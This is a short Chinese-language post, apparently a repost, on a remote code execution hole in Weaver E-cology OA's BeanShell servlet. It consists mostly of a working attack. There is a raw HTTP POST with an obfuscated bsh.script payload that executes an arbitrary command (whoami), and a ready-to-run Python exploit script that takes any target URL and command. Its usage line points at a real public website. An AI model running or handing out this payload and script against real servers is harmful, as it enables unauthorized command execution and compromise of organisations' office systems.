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  • 泛微E-cology OA 远程代码执行漏洞

    分析文章:https://dwz.cn/bYtnsKwa

    http://127.0.0.1/weaver/bsh.servlet.BshServlet

    若存在如上页面,则用下面数据包进行测试。

    POST /weaver/bsh.servlet.BshServlet HTTP/1.1
    Host:127.0.0.1:8080
    Content-Length: 151
    Cache-Control: max-age=0
    Origin: http://127.0.0.1:8080
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Referer: http://127.0.0.1:8080
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=abc17Hyv4HXw_6_hyXo1w; testBanCookie=test
    Connection: close
     
    bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter("command"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

    EXP:

    useage:python rce.py http://www.baidu.com whoami

    #!/usr/bin/env python
    import requests
    import sys
     
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
     
    def exploit(url,cmd):
        target=url+'/weaver/bsh.servlet.BshServlet'
        payload='bsh.script=eval%00("ex"%2b"ec(\"cmd+/c+{}\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
        res=requests.post(url=target,data=payload,headers=headers,timeout=10)
        res.encoding=res.apparent_encoding
        print(res.text)
     
    if __name__ == '__main__':
        url=sys.argv[1]
        cmd=sys.argv[2]
        exploit(url,cmd)

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  • 原文地址:https://www.cnblogs.com/nul1/p/11619584.html
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